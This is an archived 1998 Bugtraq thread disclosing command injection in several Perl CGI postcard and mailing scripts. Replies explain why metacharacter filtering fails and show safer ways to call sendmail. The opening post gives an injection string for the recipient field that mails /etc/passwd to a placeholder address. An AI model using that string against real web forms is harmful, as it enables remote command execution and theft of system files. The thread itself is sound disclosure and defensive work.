home *** CD-ROM | disk | FTP | other *** search
- Date: Mon, 9 Nov 1998 18:26:05 -0600
- From: xnec <xnec@WINTERMUTE.LINUX.TC>
- To: BUGTRAQ@netspace.org
- Subject: Several new CGI vulnerabilities
-
- INFO:
- After looking over the perl-CGI scripts on www.cgi-resources.com,
- I've discovered vulnerabilities in the following:
-
- 1. HAMcards Postcard script v1.0 Beta 2
- (www.hamnetcenter.com)
-
- 2. Hot Postal Services v??
- (www.hotarea.com)
- note: the only metacharacter stripping this script does is rejecting
- any |'s
-
- 3. RC Bowen's Postcards v??
- (www.rcbowen.com)
-
- 4. LakeWeb's File Mail and Mail List (expanded File Mail) v??
- (www.lakeweb.com)
-
- EXPLOIT:
-
- Each of these are exploitable by inputing metacharacters into the
- recipient's email address. Each script calls something similar
- to:
-
- open( MAIL, "|$mailprog $email" )
- # this particular line is from the LakeWeb scripts
-
- The exploit strings are simple, something like
- &mail evil@foobar.com < /etc/passwd&@host.com will work for each script
- (the @host.com is necessary because some hosts check for "@" and ".")
- when placed in the Recipient Email field.
-
- As a result, any command can be executed remotely without a local
- account with the uid of the webserver (usually "nobody" or similar,
- but you never know).
-
- FIX:
- Either fork your sendmail process, strip out metacharacters (or only allow
- certian characters), use open (MAIL , "|$sendmail -t") or rm -rf
- ./cgi-bin.
-
- -xnec
-
- ######################################################
- # xnec@wintermute.linux.tc - xnec on DALnet and EFnet#
- ######################################################
-
-
- -------------------------------------------------------------
-
- Date: Tue, 10 Nov 1998 18:45:24 +1000
- From: Karl Hanmore <avatar@ULTRA.ULTRA.NET.AU>
- To: BUGTRAQ@netspace.org
- Subject: Re: Several new CGI vulnerabilities
-
- G'day,
- As a related note, the WebCards program (V1.6) by Sam Kareem
- (webmaster@iraq.net) is subject to the same vunerability.
-
- Regards,
- Karl
-
-
- -------------------------------------------------------------
-
- Date: Mon, 9 Nov 1998 19:45:28 -0700
- From: Randal Schwartz <merlyn@STONEHENGE.COM>
- To: BUGTRAQ@netspace.org
- Subject: Re: Several new CGI vulnerabilities
-
- >>>>> "xnec" == xnec <xnec@WINTERMUTE.LINUX.TC> writes:
-
- xnec> Either fork your sendmail process, strip out metacharacters (or
- xnec> only allow certian characters),
-
- You cannot restrict the permitted characters of an email address.
- *Any* character is permitted on the left-side of an @, presuming
- the proper quoting is used for those more odd ones.
-
- For example, <fred&barney@stonehenge.com> is a perfectly valid
- email address (try it, an autoresponder responds!).
-
- xnec> use open (MAIL , "|$sendmail -t") or rm -rf
- xnec> ./cgi-bin.
-
- Or use Net::SMTP to pass the data directly to port 25.
-
- --
- Name: Randal L. Schwartz / Stonehenge Consulting Services (503)777-0095
- Keywords: Perl training, UNIX[tm] consulting, video production, skiing, flying
- Email: <merlyn@stonehenge.com> Snail: (Call) PGP-Key: (finger merlyn@teleport.com)
- Web: <A HREF="http://www.stonehenge.com/merlyn/">My Home Page!</A>
- Quote: "I'm telling you, if I could have five lines in my .sig, I would!" -- me
-
- -------------------------------------------------------------
-
- Date: Tue, 10 Nov 1998 14:44:23 +0000
- From: Gus <angus@INTASYS.COM>
- To: BUGTRAQ@netspace.org
- Subject: Re: Several new CGI vulnerabilities
-
- On Mon, 9 Nov 1998, xnec wrote:
- >
- > EXPLOIT:
- >
- > Each of these are exploitable by inputing metacharacters into the
- > recipient's email address. Each script calls something similar
- > to:
- >
- > open( MAIL, "|$mailprog $email" )
-
- This is one that just won't go away, and rather than try the (frankly
- quite fruitless) metachar filtering route, it might be an idea for CGI
- providing ISP's to insist on the use of perl's Mail::Sendmail module,
- which cuts out any potential pipe/metachar related bugs by communicating
- directly w/ the SMTP server.
-
-
- $LOCAL_CPAN_MIRROR/authors/id/M/MI/MIVKOVIC/Mail-Sendmail-0.74.tar.gz
-
- See http://www.perl.com/CPAN for a list of mirror sites.
-
-
- Regards
- Gus
-
-
- --
- angus@intasys.com
- http://www.intasys.com/~angus/
-
- -------------------------------------------------------------
-
- Date: Tue, 10 Nov 1998 14:43:27 -0500
- From: Lincoln Stein <lstein@cshl.org>
- To: BUGTRAQ@netspace.org
- Subject: Re: Several new CGI vulnerabilities
-
- Gus writes:
- > On Mon, 9 Nov 1998, xnec wrote:
- > >
- > > EXPLOIT:
- > >
- > > Each of these are exploitable by inputing metacharacters into the
- > > recipient's email address. Each script calls something similar
- > > to:
- > >
- > > open( MAIL, "|$mailprog $email" )
- >
- > This is one that just won't go away, and rather than try the (frankly
- > quite fruitless) metachar filtering route, it might be an idea for CGI
- > providing ISP's to insist on the use of perl's Mail::Sendmail module,
- > which cuts out any potential pipe/metachar related bugs by communicating
- > directly w/ the SMTP server.
-
- Net::SMTP is more likely to be installed on ISP's
- machines. Mail::Sendmail is a bit of an oddball. There are also other
- ways to avoid the fruitless metachar search and destroy mission.
- First off, why do people think they need to put the recipient's
- address on the command line in the first place?
-
- open (MAIL,"| /usr/lib/sendmail -t -oi");
- print MAIL <<END;
- To: $mailto
- From: me (me\@nowhere.com)
- Subject: nothing much
-
- Hi there!
- END
- close MAIL;
-
- And here's a general Perl technique for opening pipes without getting
- the shell involved at all:
-
- open (MAIL,"|-") || exec '/usr/lib/sendmail','-t','-oi';
- print MAIL <<END;
- To: $mailto
- From: me (me\@nowhere.com)
- Subject: nothing much
-
- Hi there!
- END
- close MAIL;
-
- Lincoln
-
- --
- ========================================================================
- Lincoln D. Stein Cold Spring Harbor Laboratory
- lstein@cshl.org Cold Spring Harbor, NY
- ========================================================================
-